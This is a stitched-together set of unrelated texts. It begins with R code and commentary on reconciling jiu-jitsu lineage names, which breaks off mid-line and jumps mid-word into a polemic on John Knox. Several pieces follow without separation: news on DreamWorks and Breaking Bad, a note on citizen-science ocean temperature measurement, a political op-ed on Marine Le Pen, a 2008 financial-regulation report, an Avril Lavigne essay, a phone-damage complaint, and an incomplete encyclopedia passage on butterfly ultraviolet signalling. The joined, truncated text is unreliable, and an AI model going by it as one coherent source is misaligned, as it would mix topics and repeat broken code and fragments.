# Identify all master-student relationships master_student_relationships <- BJJ_lineage_unpacked %>% rename ( Master = Lineage ) %>% left_join ( BJJ_lineage_unpacked %>% rename ( Student = Lineage ) %>% mutate ( Level = Level - 1 ), by = c ( "Fighter_link", "Level" )) %>% filter (! is.na ( Student )) %>% count ( Master, Student, Level ) %>% ungroup () %>% arrange ( Level, desc ( n )) # reduce lineage to one master per student (preferring the master with the most students) master_student_relationships = master_student_relationships %>% group_by ( Student ) %>% arrange ( desc ( n )) %>% mutate ( n = sum ( n )) %>% slice ( 1 ) %>% ungroup () # At each level, combine very similar names of students # root masters are handled seperately root_masters <- master_student_relationships %>% filter ( Level == 1 ) %>% select ( Master, Level, n ) %>% count ( Master, Level, wt = n ) %>% dplyr :: rename ( n = nn ) %>% ungroup () %>% arrange ( desc ( n )) knitr :: kable ( master_student_relationships %>% dplyr :: sample_n ( 10 ), row.names = F )
Fighter_link Master Student Level n http://www.bjjheroes.com/?p=781 Ricardo De La Riva Rodrigo Nogueira 4 1 http://www.bjjheroes.com/?p=1577 Leonardo Vieira Rafael Heck 6 1 http://www.bjjheroes.com/?p=1604 Leonardo Vieira Nivaldo Oliveira 6 1 http://www.bjjheroes.com/?p=6046 John Lewis Gazzy Parman 5 1 http://www.bjjheroes.com/?p=6064 John Lewis Steve da Silva 5 1 http://www.bjjheroes.com/?p=4430 Cesar Guimaraes Fabiano Gaudio 6 2 http://www.bjjheroes.com/?p=2560 Leoni Nascimento Luiz Dias 4 1 http://www.bjjheroes.com/?p=2206 Julio Lima Sandro Lima 5 1 http://www.bjjheroes.com/?p=1174 Kazuo Yoshida Evaldo Luiz “Serrinha 1 1 http://www.bjjheroes.com/?p=7077 Wilson Mattos Manoel Costa 4 1
Having aggregated all master-student relationships, I could move to visualizing the overlapping lineages of heroes; however, there are currently inconsistencies in the data that would muddy the results. This problem can be seen by looking at Mitsuyo Maeda, one of the founders of the sport who is an ancestor of almost all fighters in this dataset.
Master Level n Mitsuyo Maeda 1 720 M. Maeda 1 13 Takeo Iano 1 6 Kazuo Yoshida 1 1 Takeo Yano 1 1
Most lineages refer to Mitsuyo Maeda as “Mitsuyo Maeda” but some list him as “M. Maeda.” We see a similar problem with another of the sport’s founders: “Takeo Yano,” also referred to as “Takeo Iano.” Without consolidating such records, some fighters with the same lineage would be artificially separated. In the case of Mitsuyo Maeda, we would need to allow for the insertion or removal of characters to achieve a match. For Takeo Yano, we would need to allow for the substitution of characters.
Dealing with inconsistent hero names is a tricky challenge; we want to match similar strings without inappropriately lumping heroes together. This is especially challenging given the extremely similar names within the Gracie family! With simple string matching approaches, it would be very difficult not to combine names like Rolls, Royce, Royler and Renzo Gracie, while also still appropriately combining alternative spellings such as “Luis Franca” with “Luiz França”.
To combine a set of fighter names, I relied upon a few rules: 1. Names can only be combined if they have the same master. (These master names may have already been merged.) 2. Names that exactly match the BJJ heroes’ entries that I found above are first matched. (This deals with the Gracies’ similar names.) 3. Unmatched names are sorted according to how many ancestors they have. 4. Each unmatched name is tested to see if it matches one of the earlier student names (rule 3) using either of two approaches: - Maximum subsequence: to identify insertions or deletions, I see how many characters the unmatched name has in common with each previous student and normalize this subsequence to the length of the shortest string. This approach is good at catching abbreviations such as M. Maeda. - Levenshtein distance: to identify alternative spellings, I determine how many characters need to be either inserted, deleted or changed to another character in order to turn one name into another. This approach is good at combining alternative spellings of a name such as with Luis Franca. 5. Renamed athletes are manually checked and renaming is overruled when appropriate, using a list of manual corrections.
In addition to alternative names, some individuals with similar lineages list different master-student relationships in their lineages. To make sense of these inconsistencies, I assumed that each student has a single master (choosing the master with the most descendents). This simplification neglects that some students should legitimately have multiple masters, but by enforcing a one-to-many master-to-students relationship, I impose a strict hierarchy on the lineages that will improve clarity later on.
Before broadly combining names, I first wrote functions for aggregating names. I applied these functions to the root masters to resolve the inconsistent naming of Mitsuyo Maeda and Takeo Yano.
# Combine alternative names LCS_wrap <- function ( x, y ){ # maximum subsequence between one x and one y (normalized relative to the shorter string) # low values are best LCS_obj = qualV :: LCS ( strsplit ( tolower ( x ), split = '' )[[ 1 ]], strsplit ( tolower ( y ), split = '' )[[ 1 ]]) 1 - LCS_obj $ LLCS / min ( length ( LCS_obj $ a ), length ( LCS_obj $ b )) } LEV_frac <- function ( x, y ){ # levenshtein distance normalized to max cost match_costs <- list ( insertions = 4, deletions = 4, substitutions = 1 ) x <- tolower ( x ); y <- tolower ( y ) str_lengths <- sapply ( y, function ( z ){ strsplit ( z, split = '' )[[ 1 ]] %>% length ()}) str_lengths <- sapply ( str_lengths, max, length ( strsplit ( x, split = '' )[[ 1 ]])) adist ( x, y, costs = match_costs ) / ( str_lengths * max ( unlist ( match_costs ))) } combine_names <- function ( x, counts, priority_names, overwrites ){ # provide a vector names with the highest categories first # returns names of later names that match early names # Two possible ways of matching: # long common subsequence (to catch abbreviations) # few letter substitutions name_overwrite = data.frame ( old = x, counts = counts, score_indel = NA, score_sub = NA, stringsAsFactors = FALSE ) %>% # overwrite old with new overwrite (if provided) left_join ( overwrites, by = "old" ) %>% # prioritize names in priority_names (i.e. generally those in the BJJ heroes database verbatim) mutate ( new = ifelse ( old %in% priority_names, old, new ), input_order = 1 : n ()) %>% arrange ( new, desc ( counts )) if ( all ( is.na ( name_overwrite $ new ))){ name_overwrite $ new [ 1 ] <- name_overwrite $ old [ 1 ] } if ( nrow ( name_overwrite ) == 1 | all (! is.na ( name_overwrite $ new ))){ return_list <- list () return_list $ names <- name_overwrite $ new [ name_overwrite $ input_order ] return_list $ overwrites <- data.frame ( old = c (), new = c (), stringsAsFactors = FALSE ) return ( return_list ) } for ( i in ( sum (! is.na ( name_overwrite $ new )) +1 ) : length ( x )){ similarity_scores <- data.frame ( old = name_overwrite $ old [ 1 : ( i -1 )], indel_diff = sapply ( name_overwrite $ old [ 1 : ( i -1 )], LCS_wrap, y = name_overwrite $ old [ i ]), sub_diff = c ( LEV_frac ( name_overwrite $ old [ i ], name_overwrite $ old [ 1 : ( i -1 )])), stringsAsFactors = FALSE ) similarity_scores <- similarity_scores %>% filter ( indel_diff < 0.2 | sub_diff < 0.2 ) if ( nrow ( similarity_scores ) == 0 ){ name_overwrite $ new [ i ] <- name_overwrite $ old [ i ] } else { similarity_scores <- similarity_scores %>% rowwise () %>% mutate ( best_score = min ( indel_diff, sub_diff )) %>% arrange ( best_score ) %>% slice ( 1 ) name_overwrite $ new [ i ] <- name_overwrite $ new [ name_overwrite $ old == similarity_scores $ old ] name_overwrite $ score_indel [ i ] <- |
ology that looks on revolution and usurpation starting in Geneva as leading to the ideal ‘City on a Hill’ in comparison to peaceful Zürich, the capital of true Reformation. Lloyd-Jones is thus quite in agreement with Knox who, when the majority voted against his cause and asked him to resign as preacher, he could only say:
‘O, Lord God! Open their hearts that they may see their wickedness; and forgive them, for thy manifold mercies! And I forgive them, O, Lord! From the bottom of my heart.’
Lloyd-Jones’ make-believe story of Cox’s criticism of Knox and how he moved the majority to throw Knox out of Frankfurt is shown as the myth it is by the words of Edward Abner in his compilation of texts relevant to the Frankfurt situation. Abner says clearly:
‘As Knox himself tells us, pages 67, 68, his banishment from Frankfurt was not the work of the new Anglican Church as a whole: but entirely the act of two members of it: Edward Isaac. Of Kent; and Henry Parry, who had been Chancellor of the Cathedral of Salisbury.’
Abner gives Knox’s account of his leaving Frankfurt how Isaac, after Knox had denounced the Church of England and the Prayer Book instead of preaching, visited him and begged him to be more balanced in his criticism, to which Knox replied, ‘I could wish my name to perish, so that GOD’s Book and his glory might only be sought amongst us.’ Knox then claims Isaak ‘and some Priests’ wanted him put in prison.
Knox finishes his account by boasting of what he would reveal to the world about what the English Reformers such as Jewel, whom he seemed to particularly dislike, did, but, Abner comments that Knox never put this empty threat into practice. However, this may have been Knox’s report of the Frankfurt troubles in his History. We note that, according to Bullinger, Jewel was one of the foremost Reformers in Europe as his correspondence with Jewel reveals as recorded in the Parker Society works.
The turbulent times introduced by New Presbyterianism’s mythology
Back in Scotland, Knox kotowed back to Anglicanism and the Edwardian Articles, in spite of Lloyd-Jones insistence that Knox did not compromise like the English Church. But gradually Knox assisted in introducing the turbulent times of a Counter-Reformation and split-up Church caused by his support of and influence on the Estate Lords and Presbyterian hardliners and the decades long struggle of young James VI to shake himself free from the control and often cruelty of regents, tutors, New Presbyterian fanatics and plotting Lords. He told the Estate Lords to use all the powers of the law to rid Scotland of those who disagreed with him and wrote to Queen Elizabeth asking her to send English troops to help him enforce his rule over Scotland’s people. Talk about ill-balanced compromise! However, James’ personal, peaceful plans for a Reformed, Pan-British, Pan-Protestant, indeed, Pan-European Church gradually developed contra Knox’s hardliner, totalitarian policies and he played a marked role in raising the ire of the non-progressive backward-looking Knoxians. James opponents, such as Andrew Melville, brought up on the peculiar revolutionary teaching of John Major, George Buchanan and John Knox based on the old priestly Celtic clan and Estate Lords structure of ancient mythology found little use for a King who was not a mere constitutional figurehead. Their delight was to put the clock back to idyllic but fairy-tale times in Never-Never Land when the clan’s priestly chieftain allegedly watched paternally over his tribe and lived in peace with the other clans forming one united Caledonian nation. They forgot that the Picts and Scots had been united by the hand of strong Kings in the early ninth century and the reign of Kenneth MacAlpine was certainly not according to the Major/Buchanan/Knox/Melville scheme. Clan warfare in the old days was rampant and was the last thing to be likened to an ideal Church. Their fiery crosses were the exact opposite of the cross on Golgotha. So, too, it was the chieftains and Estate Lords who hindered national unity, because of their Pictish, Scots, Saxon or Viking background and those who adhered to old Celtic Christianity or the new Roman faith. The Danish new conquerors of the Scots especially demanded large parts of North and East Scotland as their own historical domain until Andrew Melville’s days. So, too, the New Presbyterian view of an old patriarchal hierarchy is challenged by the historical fact that the earliest inhabitants of Scotland, as far as the historical records go, formed a matri-linear society. So, too, it was obvious that Major’s, Buchanan’s, Knox’s and Melville’s view of the Gael was part of French Celtic tradition fostered by the Roman Catholic Church and was not indigenous to Caledonia at all.
James’ refusal to be ruled by ancient mythological thinking
Buchanan had sought to bully James into accepting his modern back-to-the-past theories of state and religion but the clear-headed and precocious child had merely hated his tutor for his uncouth barbarity, albeit accompanied with the highest humanistic scholarship which James did not reject. James thus abhorred the intolerant anarchy of Scottish religious leaders whether Roman Catholic like the Beatons or pseudo-Humanistic like George Buchanan and Andrew Melville who strove to either abolish the Reformation or rebuild it on institutional, party-minded lines fostered in the Surbonne rather than through Reformer Patrick Hamilton’s, Marburg’s, Lambeth’s, Zürich’s and Geneva’s teaching. James’ policy of being effective as a national leader was to follow the programme of one God over all, one King over a united country, and one Church open to all Protestants whether Episcopalian or Presbyterians. This was anathema to New Presbyterian tyranny. Not that the New Presbyterians were totally anti-national. The truth of the matter was that the Presbyterians, through the influence of Major, Buchanan, Knox and Melville, wished to unite Scotland politically and ecclesiastically through the politico-religious institution which they had founded, claiming the right to the keys of both temporal and spiritual Scotland and doing away with the few monarchical bishops left in Scotland and introducing a monopoly of monarchical elders who saw themselves as the sole voting elite over a lay-proletariat. As they claimed at the Westminster Conference according to Byfield’s Minutes, the Lords words ‘Where two or three are gathered in my name’ referred to the Presbytery only and not the laity.
Knox’s death
Even the many pious stories of how Knox died must be taken with a large pinch of salt. Nearly always we are given the famous last words and deeds of a saint so as to emphasise how much we can benefit from his faithful life and dying testimony. There was an appeal recently on a web-site asking for information concerning Knox’s death. Most of the Knox biographies leave the details out so it is not surprising that all the web-site readers knew was that Knox’s wife read the Scriptures to him on his death bed. McCrie, one who has turned the history of the Scottish Reformation quite upside down and has mixed up a Counter Reformation with the true Reformation in Scotland tells us, however, that shortly before Knox’s death, John Durie and Archibald Steward called on their friend, who appeared quite well and in a jovial mood, and they were invited to stay for dinner. McCrie then tells us that Knox:
‘ordered a hogshead (about 52 imperial gallons) of wine which was in his cellar to be pierced for them; and with a hilarity which he delighted to among his friends, desired Archibald Steward to send for some of it as long as it lasted, for he would not tarry until it was all used’.
The following morning was the Lord’s Day but Knox missed the service having slept in. He felt confused and had forgotten the date and discovered that he had no appetite for breakfast. Suddenly, he took very ill and died. Durie succeeded Knox as minister of St. Giles, Edinburgh around 1573, and held the office until 1579. The Duries were thrust out of power with the revolt in the Church of Scotland instigated by Andrew Melville whose hagiography has been also imaginatively portrayed by McCrie who seems to have taken no steps to examine his own data for credibility.A sneak peek at the final episode in the famed series, Breaking Bad. Courtesy AMC.
DREAMWORKS offered the creators of Breaking Bad $US75 million ($79 million) for three extra episodes of the cult drama to run after the end of the last series.
They would have been run online in 30 daily, six-minute sets, the chief executive of Dreamworks, Jeffrey Katzenberg, revealed in Cannes.
He told the audience for his keynote speech at the Mipcom TV trade fair that he know knew it was a "bad idea", referring indirectly to the ending which put a sequel out of the question.
He said the money offered - but rejected - was more than seven times the series budget of $US3.5 million an episode.
He had planned to charge about $US1 for a daily episode.
Despite the deal not happening, he predicted that model for high calibre, short-form content delivered online would play a key part in the future of TV.
"It's going to happen," Katzenberg said.
"We've always spent a long time waiting but now we have touch screens to distract us and that presents a massive opportunity for short-form entertainment.
"There has to be high-quality, short-form story telling. It's not all skateboarding ducks."
But he also stressed that linear TV would continue to thrive despite the growth of digital platforms.
Katzenberg has had a stellar career in Hollywood, staring at Paramount and then Disney before Dreamworks. His movies include Gladiator and A Beautiful Mind.
Now he is the driving force behind animation such as Shrek, Madagascar and Kung Fu Panda.
DreamWorks is now making about 1000 hours of children's animation for Netflix in a five-year, 12-series deal.
After this his studio would get the broadcast and other rights for the shows letting DreamWorks enhance its TV library.
"We're under pressure to deliver hits," Katzenberg said when asked about the Netflix contract.
He viewed this as a golden age for television.
"Opportunities are endless in television... and that's why DreamWorks are betting so heavily on it."
He did not see new devices as a threat.
"Mobile content and TV are complimentary... and waiting is dead."
After his speech, Kratzenberg was presented with the Mipcom Personality of the Year award at a dinner attended by key TV figures from the US and around the world at the Carlton hotel, itself used in many movies.
A film tribute at the dinner included praise from Hollywood heavyweights such as Steven Speilberg, Adam Baldwin, Eddie Murphy - and Kung Fu Panda.08 November 2017
Accurate observations of the Earth are required to understand how our planet is changing. Measuring the temperature at the surface of the ocean is crucial to our understanding of its biological, chemical and physical environment. The sea surface temperature (SST) influences how gases move between the sea and the atmosphere, the distribution and feeding of marine animals such as fish, whales and seabirds, and impact global and regional climates. Yet the marine environment is under-sampled, due to high costs, so more cost-effective methods for studying SST are a priority for scientists and the policy makers and managers who rely on good quality information.
Previously, surfboards equipped with temperature sensors and GPS trackers successfully demonstrated that surfers could obtain accurate SST measurements in coastal regions. Now, after that success, scientists have proposed making use of additional recreational water sports to gather further observations and fill in some of the gaps in coastal waters.
Along the world’s coastlines, countless people regularly participate in a range of activities from sea-kayaking to surfing to SCUBA diving. In the UK alone, almost 10 million people are estimated to regularly engage in coastal water sports. Over the course of a year, if each of these individuals participated in their favourite aquatic activity just 10 times, we could see around 100 million interactions between water sports enthusiasts and coastal seas. Even if only a small fraction of these individuals were to get involved in a project, there is still the potential for a wealth of citizen science data to be collected that would contribute towards our knowledge of key environmental processes.
"Considering the vast number of people that participate in aquatic recreation globally, and considering recent developments in technology, wireless data transfer and cloud-based storage, there is a huge potential to improve aquatic sampling through recreation. This is particularly true for many regions that are difficult to assess using conventional research vessels, such as in shallow coastal areas and coral reefs, or regions with limited monitoring infrastructure but high marine tourism," said lead author Dr Bob Brewin, of PML’s Earth Observation group. "There are challenges ahead, for instance, integrating sensors into water sports equipment to ensure accurate oceanographic data is collected without impacting the activity, developing methods to carefully control the quality of the data, and motivating citizens to get involved and collect the data."When we first met (in March 2004) she was still her daddy's little girl. Already well known, even popular, but still hovering in his large shadow. When Marine Le Pen spoke, Jean-Marie looked at her with his healthy eye (the other has a glass replacement following a violent confrontation). It was enough to see his glance, his body language and the dynamic that was created in the room to understand that she still had a way to go before she would be able to fill his shoes.
At our second meeting, at the beginning of her election campaign, she was already threatening to overshadow her father's achievements in anticipation of her expected success. "Our rivals are shaking already," she declared. "Soon the unworthy ruling establishment will be defeated," and she, Marine, would be in the Elysee Palace.
True, "President Le Pen" is still an imaginary vision. But Marine, who has led her party to its greatest achievement (17.9 percent of the vote in the first round ) has turned into the "anointer of kings" and has already made Nicolas Sarkozy the first president in the history of the Fifth Republic to lose in the first round of an election.
Time after time, she declares that this is merely "the first stage in the struggle for France." Her aim is to become a realistic alternative to the left, by forming a "new right" that is "real." After the "fake" right last year lost the Senate and will lose the presidency next week, she believes, she will cause its final disintegration when she enters the National Assembly in June. Then the ground will once again shake under all of Europe.
Le Pen conducted a clever and sophisticated election campaign and thanks to it, she is where she is now. But obviously she should also be grateful to quite a few factors that seem to have come together to help her.
She owes a big thanks to Mohamed Merah, the terrorist from Toulouse, who "proved" that the migrants and the Muslims are indeed the republic's Enemy No. 1. The right man, who was in the right place at the right time - so very right that one could almost have thought he was an agent or "shahid" planted there by the extreme right.
She also owes many thanks to the economic crisis, to the soaring unemployment and the waning buying power of consumers that made it possible to considerably increase the number of people who believe the fabrication that Europe and the euro are Enemy No. 2.
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She owes a warm thanks to the outgoing president who tried forcibly to grab the Front National's agenda and thus contributed to the realization of her earnest aim - its "de-demonization."
And she can say a heartfelt "thank you" also to a number of friends from Israel. To our ambassador to the United Nations who honored Le Pen by attending an event she hosted in New York and contributed a joint photo-op worth more than gold; to the deputy cabinet minister Ayoob Kara (Likud ) and other right-wing friends who are responsible for nurturing a covenant with the well-known nationalists and anti-Semites of Europe, Le Pen's spiritual brothers; and to the Jewish state, the official one, which has remained totally mute in the face of these phenomena, so that some even suspect that this is an intentional policy that fits in well with the way its leaders have been turning the Holocaust into something banal.
History will judge the support for Le Pen and her ilk. But it seems that even now it is possible to state that this is folly. Even according to the line of reasoning of the supporters themselves. Because after all, if Iran is Nazi Germany, and if Sarkozy is the Western leader most determined to prevent it from becoming nuclearized, it is tantamount to shooting oneself in the foot to topple him and strengthen his most bitter rival.
This is folly because 2012 is not 1938, but if the euro falls and the European Union disintegrates, it is a sure-fire way to return to the chaotic era of nationalism and bloody wars.
It is folly because Le Pen is not capable of breaking away from her father's heritage and the Vichy-ist and anti-Semitic core of her party: In interviews with Haaretz, she attacked former president Jacques Chirac for accepting responsibility in 1995 for the crimes of the Vichy regime. This "demagogic" declaration was made to please the Jews, she said.
When the possibility was raised that she should follow in the footsteps of Gianfranco Fini, who previously headed Italy's fascist party and in 2003 apologized to the Jewish people, she was unnerved. For a moment, the hidden demon raised its head. Under no circumstances, she made it clear, would she "speak evil of her country" and condemn the crimes of French fascism. And folly, finally, because Le Pen does not try to curry favor nor does she refrain from criticizing the policies of the right in Israel.
She does not hide her opposition to the settlement policy or her support for recognition of Palestine at the United Nations. She does not hide her opinion that the Iranian nuclear plan is "defensive" and that she is opposed to attacking its nuclear facilities, an attack that she says would be "a flagrant violation of international law".
Perhaps it's 1938, after all?
Read this article in Hebrew.The nation's top economic policymakers unveiled a far-reaching plan yesterday to fortify the U.S. financial system, aiming to prevent a repeat of the credit meltdown that has roiled global markets since the summer.
The proposals call for changes to nearly every segment of the credit markets and mortgage industry, including the creation of national standards for mortgage brokers, tighter oversight of credit-rating firms and stricter capital requirements for financial institutions making risky investments. The plan's authors did not explain how they would translate their ideas into laws.
The continuing toll of upheaval in the credit markets was underscored yesterday when the government reported that consumers curtailed spending in February. The dollar fell to record lows against the euro and below 100 yen for the first time since 1995. Crude oil rose above $111 a barrel for the first time.
Meanwhile, a hedge fund run by District-based Carlyle Group defaulted on $16.6 billion in loans and teetered on the verge of collapse, raising concerns about failures at similar funds. Shares of Bear Stearns, the country's largest brokerage for hedge funds, hit a seven-year low and ended the day down 7.4 percent on concerns that it, too, could run short of money.
The toxic combination of news sent the Dow Jones industrial average and the Standard & Poor's 500-stock index down nearly 2 percent in the morning. Both indicators recovered to end the day slightly higher after a report from Standard & Poor's concluded that losses in subprime mortgages, which triggered the credit crisis, may be nearing an end.
Most economists say Wall Street's credit woes are tipping the country into recession. Treasury Secretary Henry M. Paulson Jr. acknowledged that yesterday's report from the President's Working Group on Financial Markets is not intended to immediately solve those problems. Instead, the effort is intended to gradually restore confidence in the financial system.
Many of the group's recommendations take aim at the mortgage securitization process, which for years was a highly profitable business that allowed Wall Street firms to collect big fees for turning home loans into securities and selling them to investors. The report wants rating agencies to be transparent about how they evaluate and score securities because these firms have so often been wrong in their ratings. It also chides lenders and big funds for becoming sloppy in their investment practices when markets were booming earlier this decade.
Taken in total, the effort seeks to cure three paramount failings behind the credit meltdown: Financial firms at each step of the securitization process didn't know what they were buying, didn't care as long as they were making money, and didn't have enough cash to cover mistaken bets.
Paulson remained vague, however, about what new standards should be established and who would oversee them. For example, he said legislation would be required to revamp the securitization process but declined to be more specific.
"It's clearly going to take a while to put these recommendations in place and to implement them," Paulson said in an interview. "We must implement these recommendations with an eye toward not creating a burden that exacerbates today's market stresses."
Industries addressed in the report, and some Wall Street banks, gave a cool reception to the proposals.
Christopher Low, chief economist at FTN Financial, said the recommendations would probably make the situation worse because tighter regulation and capital requirements could make financial firms even less willing to invest or make loans at a time when credit is already tight.Scott Gries/Getty
In the winter of 2002, I braved my first talent show, hosted by Girl Scout Troop 863 in the basement of a local church. Ten-year-old me rehearsed my favorite songs, cranking up the volume each time my voice cracked. Which one would I sing to a roomful of parents who probably brought earplugs in secret? It had to be Avril Lavigne's “Sk8er Boi,” which went easy on the high notes and remains my go-to karaoke jam to this day.
But Let Go, Avril's 2002 debut album, deserves more than a drunken sing-along for its 15th anniversary this month. Breakout single “Complicated” boldly called out kids who pretended to be something they're not. Back then, I was an impressionable fifth-grader who cared deeply about being popular. I just wanted to fit in with the so-called cool kids — yet Avril's lyrics celebrated standing out.
After all, there were no pop stars quite like Avril in the early 2000s. While Britney slayed with “I'm a Slave 4 U” and Christina got “Dirrty,” Avril skateboarded in with sneakers, a tie, pin-straight hair, and studded bracelets. Michelle Branch was the girl next door, but Avril was that girl's rebellious best friend her parents said was a bad influence. Sure, she threw up a lot of unnecessary middle fingers, but I was drawn to her confidence and DGAF attitude.
“I'd rather be anything but ordinary, please,” she proudly sang in “Anything but Ordinary,” Let Go's breezy eighth track that was originally suggested as the LP's title and lead single. “To walk within the lines / Would make my life so boring / I want to know that I have been to the extreme.”
Her words magically convinced me it was cool to be different. But instead of embracing what makes me different from everyone else, I tried to be just like Avril — minus flipping the bird, because that wouldn't fly with my parents. To me, she was someone who didn't care what anyone else thought of her; maybe if I dressed the same way, I'd stop wondering why Sara didn't invite me to her birthday sleepover.
So I wore my dad's tie to school and begged my mom for Etnies skateboarding shoes, even though I could barely roller blade. In sixth grade I wrote a persuasive essay on why you should buy Avril's album, then presented the evidence to my English class. (This was the early-'00s version of tweeting “Buy Let Go on iTunes!”)
Donald Weber/Getty
Avril Lavigne and her band at the 2004 Juno Awards.
The music industry was also enraptured by her. In September 2002, Let Go peaked at No. 2 on the Billboard 200 albums chart, ultimately selling more than six million copies and becoming the year's best-selling album by a female artist. Then eight Grammy nominations rolled in, including Best Pop Vocal Album and Song of the Year for “Complicated” (2003) and “I'm with You” (2004). Not bad for a skater girl from Napanee, Ontario — the small “5,000 population town” mentioned in “My World.”
These days, Avril is working on her sixth album, after recovering from Lyme disease. But when fame first hit, she never stopped being that relatable teenager. At the 2002 MTV Video Music Awards, for example, she accepted her Best New Artist Moonman by addressing the crowd as “dude” and literally screaming into the mic. She performed in t-shirts you could buy at the mall, and as her songs took over the radio, her casual pop-punk style became mainstream. I wasn't the only fan who wanted to look like my favorite musician. But if everyone's different, is anyone really that different at all?
Scott Gries/Getty
Avril Lavigne on TRL in August 2002.
Turns out, Avril's music wasn't about being different for the sake of being different. It was about being, well, YOU. As she famously sang in “Complicated”: “You're trying to be cool / You look like a fool to me.”
From the start, staying true to yourself was Avril's personal brand (and a great marketing move). The way I see it, Let Go spoke to the kids who felt like they didn't fit the mold, right before the mid-2000s emo scene welcomed them. That doesn't mean she hasn't made mistakes — please see the video for 2013's “Hello Kitty” — but her early music felt like a nonjudgmental friend that my younger self could rely on. Whenever peer pressure tempted me, I put on my headphones and blasted “Nobody's Fool”: “Don't call me with a compromise / Hang up the phone / I've got a backbone stronger than yours.”
I was recently reminded of this personal safe space at Emo Nite L.A., a giant party soundtracked exclusively by Taking Back Sunday, My Chemical Romance, and the like. These bands comforted me the same way Let Go once did. So I wasn't surprised when celebrity DJs Machine Gun Kelly and Halsey played “Sk8er Boi” to a roomful of twentysomethings reliving their emo phase. Avril wasn't the first artist to help someone feel less alone, and she certainly won't be the last.Blaine ordered the new LG-made Nexus 4 smartphone from Google. He really liked it…right up until the scratch-proof glass coating and curved back made it topple off a cloth-covered ironing board and onto the floor, shattering the screen. The bumper case that would have prevented this disaster is, of course, backordered. Consider yourselves warned, Nexus 4 owners.
Update: if this has happened to you, you and Blaine aren’t alone.
Blaine explains:
As I’m sure you’ve heard, the screen cracks… very easily. A drop from 2 ft will do it basically. That’s exactly what happened to me this morning, which is all fine and well, but the odd thing about my case is that I did not drop my phone. In fact, I wasn’t even in the same room as it when it cracked.
I’ve noticed that the back and front of the phone is extremely slippery due to the scratch resistant glass and the slight curvature of the phone. In short, it slips and slides where other phones would not, so I’ve been taking extra care to place it away from edges.
This morning I did just that, placing it square center of a cloth covered ironing board. I then walked about 3-4 feet away and took a seat in another room. That’s when I heard and saw my phone hit the ground and the glass front crack into a thousand fragments. I’ve tried incessantly to recreate the circumstances leading up to this, but cannot get it to repeat.
I had a bumper on order which could have prevented all this, but was placed on backorder status due to high demand and low supply, despite having ordered at nearly the same time as the nexus 4.
I contacted both LG and Google, and they both repeat that physical damage is not covered and that they cannot issue a replacement.
I just can’t believe three things about this:
1) That a phone could shatter so thoroughly after a 2-3ft drop. (poor design)
2) That they would design a phone with relatively no friction to it when phones are constantly being placed down on varying surfaces. (sacrificing function for form)
and
3) That google would have no way of overriding their default system and issuing a replacement despite physical damage. (poor customer service)
Listen, I love my phone. I really like Google as a company, and I fully understand WHY such a policy exists. BUT the consumer can’t be held responsible for what is clearly a design flaw.
Probably half the people that read this will think I’ve made it up in a poor attempt to replace a device I was careless with, but unfortunately that is not the case. I’ve been using smartphones since they first hit the market, and I have not ONCE had a cracked screen… well until today at least.
Well, I hope someone takes note of this problem, and more importantly I hope Google steps up and does the correct thing. Especially for those of us stuck waiting on a bumper who had this happen.Butterflies, or members of the Papilionoidea superfamily, use two ultraviolet signals, UV reflectance or absorbance as a communication system. The ultraviolet region is the part of the electromagnetic spectrum between 10 nm and 400 nm in wavelength. Sensitivity to this region provides butterflies several benefits such as nectar guides for nectar, but it also provides a private communication channel unavailable to predators. With this secure line, butterflies are able to facilitate mating behavior and sex recognition.[1][2]
Reflection and absorption [ edit ]
The ultraviolet communication system has two roles, a sender and a receiver. Butterflies send ultraviolet signals using UV reflectance or UV absorption. The former is accomplished through the use of structural color, the reflection of certain frequencies of light via constructive interference. The production of this structural color in butterflies has been elucidated through the study of Eurema lisa by Helen Ghiradella.[3] In this particular butterfly, a small yellow portion of the dorsal surface of the wings is directionally UV reflectant. In other words, the image from the UV reflection can only be seen at a distinct range of angles from the point of origin. Electron micrographs determined the scale structure which in turn elucidated the mechanism of UV reflection. UV reflecting scales are composed of raised longitudinal ridges and perpendicular cross ribs that connect the parallel running ridges, forming a grid.[4] The ridges possess lamellae that run on top of and parallel to the ridges and microribs on its sides. The partial overlap of lamellae structures causes thin layer interference resulting in the reflection of light with a wavelength within the ultraviolet spectrum.[3] The other ultraviolet signal in butterflies, absorbance, was determined to be governed by pigments called pterins. In wings containing this pigment, the wings are unable to reflect ultraviolet light as well as without the pigment because the pterins absorb the ultraviolet light.[5] Thus, butterflies are able to reflect ultraviolet light as a result of the organization and composition of their wing scales resulting in thin layer constructive interference and can absorb ultraviolet through the action of pterin pigments.
Perception [ edit ]
Butterflies receive ultraviolet signals by utilizing a special photoreceptor pigment in the butterfly eye. The butterfly eye is similar to the average insect eye in that it is composed of numerous ommatidia. Each butterfly ommatidium contains nine photoreceptors with generally each photoreceptor utilizing a single visual pigment.[6] A UV sensitive visual pigment is responsible for a butterfly’s ability to detect UV light and responds maximally to ultraviolet light at approximately 350 nm.[6] Therefore, a visual pigment that responds to ultraviolet light is the mechanism behind ultraviolet light perception.
Mating behavior [ edit ]
Drawings of the White Cabbage Butterfly representing the butterfly under UV light and the visible region of light.
White Cabbage Butterflies, Pieris rapae crucivora, use their private ultraviolet communication system to initiate mating behavior. In this species, ultraviolet reflection is sexually dimorphic with females exhibiting the ability to reflect ultraviolet light of 380 nm to 400 nm and males being less able to reflect UV. Males who perceive an ultraviolet reflection from a female initiate a courtship behavior that involves approaching the female and attempting to copulate. Females communicate their receptivity to males using their ultraviolet communication system. The ultraviolet reflection is thought to be concentrated to the ventral side of a female’s hind wing. Yoshiaki Obara determined this experimentally by comparing the number of approaches to different parts of butterfly wings. The results showed that the female’s ventral hind wing was the greatest releaser of male sexual behavior.[7] Although ultraviolet reflectance releases the sexual behavior, the strongest reflection of UV light is not the strongest releaser for the behavior. As a result, male white cabbage butterflies must have a preference for a certain level of UV reflectance from females.[8] Using a private ultraviolet communication system, female White Cabbage Butterflies signal their receptivity and initiate male mating behavior.
Ultraviolet light is not only an activator of male sexual behavior: Its absence may also stop an approaching male and his attempt to copulate. Female White Cabbage Butterflies are not always receptive to male White Cabbage Butterflies and to communicate this message, they assume the mate refusal posture. This behavior consists of opening the wings and straightening the abdomen.[8] Opening of the wings in this manner exposes the dorsal side of the female wings which are known to be unable to reflect ultraviolet light. In effect, females are removing the ultraviolet signal that initiates male sexual behavior, resulting in the abrupt halt of male sexual behavior. Female White Cabbage Butterflies take advantage of the personal butterfly ultraviolet communication system to also reject males by removing an ultraviolet reflectance signal.
Sex recognition [ edit ]
